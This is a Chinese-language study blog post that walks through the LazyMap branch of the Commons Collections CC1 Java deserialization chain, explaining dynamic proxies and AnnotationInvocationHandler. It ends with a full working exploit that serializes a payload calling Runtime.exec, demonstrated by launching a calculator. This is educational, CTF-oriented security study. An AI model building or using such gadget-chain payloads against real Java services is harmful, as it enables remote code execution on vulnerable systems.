Java学习日志——CC1链-LazyMap分支小结¶
前置知识:CC1 链的 TransformeredMap 分支、Java 动态代理
书接上回,我们看到,可以执行 transform
方法的过渡方法有两个,分别是 TransformedMap
类和 LazyMap
类。上次我们讲了 TransformedMap
类,这次我们讲一下 LazyMap
类。
动态代理速讲¶
这一次的攻击链,涉及到了动态代理的知识。开头说过,我们需要有 Java 动态代理的前置知识。所以我们只暂时讲一下最主要这次涉及到的动态代理知识。
首先动态代理涉及一个代理一个接口的实现类。假设我们有一个 IUser
的接口,他有一个实现类 User
,我们想要对 User
做一些操作,但是又不想修改 User
的代码,这时候我们可以使用动态代理。动态代理类本质上是另一个实现类,但是这个实现类是 IUser
的代理类,我们可以通过代理类来调用 User
的方法,但是代理类会拦截到 User
的方法,然后我们可以在代理类中做一些操作。而这个代理类我们分为三个部分:代理的类、代理的接口、代理后要执行的方法。我们分别使用类加载器、被代理类的接口以及一个叫做 InvocationHandler
的接口来实现。在 InvoationHandler
中,我们定义了 invoke
方法,这个方法会在代理类调用被代理类的接口时执行。
IUser user = new UserImpl();
IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), new UserInvocationHandler(user));
userProxy.show();
假如说这里的 UserImpl
就是我们需要代理的实现类,其中重载实现了 show
方法,那么我们将其通过 Proxy.newProxyInstance
生成 userProxy
代理类,然后通过 userProxy
调用 show
方法,那么 UserInvocationHandler
中的 invoke
方法就会被执行。
LazyMap 源码分析¶
现在我们有了动态代理的前置知识,我们直接来看一下我们需要构建的攻击链。首先回顾一下我们上一篇文章在使用 TransformedMap
前,我们已经有一个 chainedTransformer
这个对象,我们的目的就是让程序自动调用 chainedTransformer
中的 transform
方法就可以了。上一次中,我们通过 TransformedMap
中的 checkValue
方法调用了 transform
方法,现在我们通过 LazyMap
中的 get
方法调用了 transform
方法。下面查看它的源码:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
可以看到,LazyMap
的 get
方法中,首先会判断 map
中是否包含 key
,只要 map
不包含我们传入的 key
,就会调用 factory.transform(key)
方法。而根据 LazyMap
的源码,我们知道 factory
就是我们初始化 LazyMap
传入的一个 Transformer
对象,直接传入我们准备好的 chainedTransformer
就可以了
AnnotationInvocationHandler 源码分析¶
那么我们现在需要去找一个合适的类可以调用我们的 get
方法。由于调用这个方法的类特别多,我们只能参照 ysoserial 给的来看。好死不死,这次我们的过渡方法依然在 AnnotationInvocationHandler
中,这个 get
在 invoke
方法中。我们直接看 invoke
方法的源码:
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
// 后面的我就不放出来了
在学习动态代理之前,其实并不知道这个 invoke
方法有什么特殊的含义。但是现在学习了动态代理之后,我们结合这个类的名字 AnnotationInvocationHandler
就可以知道,这个类是 InvocationHandler
的一个实现类。当我们把这个类作为一个动态代理类的“实现方法”时,当那个动态代理类的一个方法被调用时,此处的 invoke
方法就会被执行。
现在分析一下这个 invoke
方法。首先,通过动态代理机制,我们获取到了外部函数调用这个动态代理类的方法。然后开始检测这个方法。经过分析,只要这个方法是一个无参方法,并且方法名不能是 equals
、hashCode
、annotationType
,那么就会执行 memberValues.get(member)
方法。
接下来,我们就可以执行构造一个 LazyMap
对象,并且其 factory
属性存储为我们的 chainedTransformer
,让他与一个 AnnotationInvocationHandler
对象关联起来一起被代理为 proxyMap
。
// 构造 一个普通的 Map 用来初始化第一个 AnnotationInvocationHandler
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = (Map) LazyMap.decorate(map, chainedTransformer);
// 构造第一个作为动态代理类执行 invoke 方法触发 lazymap 的 get 方法的 annotationInvocationHandler
Class annotationInvocationHdlClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHdlClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler hdl1 = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
可以看到,经过上面的代码,我们构造了一个包含了构造好的 LazyMap
的 AnnotationInvocationHandler
对象,只要想办法调用这个对象的 invoke
方法,并且调用的方法是一个 Map
接口的非常规无参方法,就可以完成构造链。我们现在来动态代理一下试试:
// 将 hdl1 代理给 lazymap, 生成 proxyMap
Map proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), hdl1);
// 使用一个 clear 方法作为传入的无参方法
proxyMap.clear();
可以看到,我们最后弹出了想要的计算器。现在来梳理一下这一切干了什么:
proxyMap.clear()
的执行,因为proxyMap
是通过Proxy
类创建出来的动态代理类,所以会执行hdl1
中的invoke
方法。hdl1
中的invoke
方法可以得知外部调用的方法名字。所以这里知道方法名是clear
。它既不属于列举的equals
等方法,也没有参数,所以顺利执行memberValues.get(member)
方法。而这个memberValues
,就是我们构造好的LazyMap
对象。- 执行
LazyMap
中的get
方法,调用factory.transform(key)
方法。最终完成整条链的命令执行。
完成入口类到调用 proxyMap 的无参方法的衔接¶
但是这一切还没有结束。我们已经确保只要我们构造好的动态代理类 proxyMap
的特定无参方法被调用,那么攻击链就完成了。现在需要找到的就是一个入口类,它需要有 readObject
方法可以反序列化,同时也尽量可以调用我们的 proxyMap
的无参方法。
好巧不巧,这一次我们找到的还是 AnnotationInvocationHandler
类。上一次我们看到它的 readObject
方法里面有我们想要的 checkValue
方法。这一次还有我们想要的。重新来看一下它的源码吧:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
// 观察到下面这行,调用了 memberValues.entrySet() 方法
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
// 后面的我就不复制了,没有用
可以看到和以前的区别,我们在进入上面给出的倒数第三行的 for
循环时,调用了 memberValues.entrySet()
方法。而这个 memberValues
就是我们构造好的 LazyMap
对象。在上次我们走 TransformedMap
分支时,我们还需要经过下面的三个 if 分支判断。但是这一次,我们注意到,就在这个 for 循环的一开始,我们看见了 memberValues.entrySet()
方法。仔细一想,这个 entrySet
正好符合我们的无参、特殊的方法。也就是说,我们只要让这个 memberValues
为我们之前构造好的 proxyMap
动态代理类就可以了。也就是说接下来的思路很清晰了,只要新建一个 AnnotationInvocationHandler
对象,并且把 memberValues
属性设置为 proxyMap
动态代理类即可。
// 构造第二个用于触发无参方法的 AnnotationInvocationHandler
Object hdl2 = constructor.newInstance(Override.class, proxyMap);
serialize(hdl2, "ser.bin");
完事之后,我们的 ser.bin
就是我们的 payload 了。
最终 EXP¶
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
// 构造 chainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"kcalc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 构造 一个普通的 Map 用来初始化第一个 AnnotationInvocationHandler
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = (Map) LazyMap.decorate(map, chainedTransformer);
// 构造第一个作为动态代理类执行 invoke 方法触发 lazymap 的 get 方法的 annotationInvocationHandler
Class annotationInvocationHdlClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHdlClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler hdl1 = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
// 将 hdl1 代理给 lazymap, 生成 proxyMap
Map proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), hdl1);
// 构造第二个用于触发无参方法的 AnnotationInvocationHandler
Object hdl2 = constructor.newInstance(Override.class, proxyMap);
serialize(hdl2, "ser.bin");
// 反序列化,验证成果
unserialize("ser.bin");
}
总结¶
我们从头来捋一下,可以看到我们一共创建了两个 AnnotationInvocationHandler
对象,分别命名为 hdl1
和 hdl2
。这只是巧合,它们两个的作用完全不一样。首先我们的 hdl2
被序列化作为 payload。当它被作为反序列化的目标时,就会调用 readObject
方法,从而调用它包含的 proxyMap
动态代理类的 entrySet
方法。此举会触发 proxyMap
的动态代理,它自己还有另一个 InvocationHandler
对象,也就是 hdl1
。它触发了 hdl1
的 invoke
方法,从而执行了 memberValues.get(member)
方法,最终执行了 chainedTransformer
的 transform
方法。
我们试着列一个流程图:
- AnnotationInvocationHandler.readObject()
- (Proxy) Map.entrySet()
- AnnotationInvocationHandler.invoke()
- LazyMap.get()
- chainedTransformer.transform()
- ...
这条链无疑是比 TransformedMap
这条分支更加繁琐,而且也没有什么更多的好处。它的版本依赖依旧是 jdk<=8u65
和 Common Collections <=3.2.0
。
不管怎么说,多一条链就多一个选择。接下来的 CTFshow 将会出现禁用 TransformedMap
的题目,那么就是我们的 CC1 链 LazyMap
大显身手的时候了。
下次见!
文章热度:0次阅读